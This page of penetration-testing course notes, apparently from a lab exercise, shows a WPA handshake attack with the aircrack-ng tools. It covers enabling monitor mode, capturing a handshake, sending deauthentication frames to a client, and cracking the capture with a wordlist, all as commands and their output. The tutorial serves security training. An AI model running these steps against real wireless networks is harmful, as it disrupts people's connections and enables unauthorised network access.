7. Wireless Attacks
Last updated
# Check for card presence
iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on# Kill unnecessary processes
sudo airmon-ng check kill
# Set card in monitor mode
sudo airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 rtw_8822bu ASUSTek Computer, Inc. 802.11ac NIC
(monitor mode enabled)
# Check
iwconfig
wlan0 IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:onmkdir -p $HOME/tcm/peh/wifi && cd $HOME/tcm/peh/wifi
sudo airodump-ng wlan0
# Capture the handshake
sudo airodump-ng -c 6 --bssid 22:66:CF:7D:D6:14 -w capture wlan0# De-auth attack
sudo aireplay-ng -0 1 -a 22:66:CF:7D:D6:14 -c 48:E1:E9:E6:91:02 wlan0ls
capture-01.cap
capture-01.csv
capture-01.kismet.csv
capture-01.kismet.netxml
capture-01.log.csv
# Create a wordlist, with the testing WiFi lab password
# Crack the handshake
aircrack-ng -w wordlist.txt -b 22:66:CF:7D:D6:14 capture-01.cap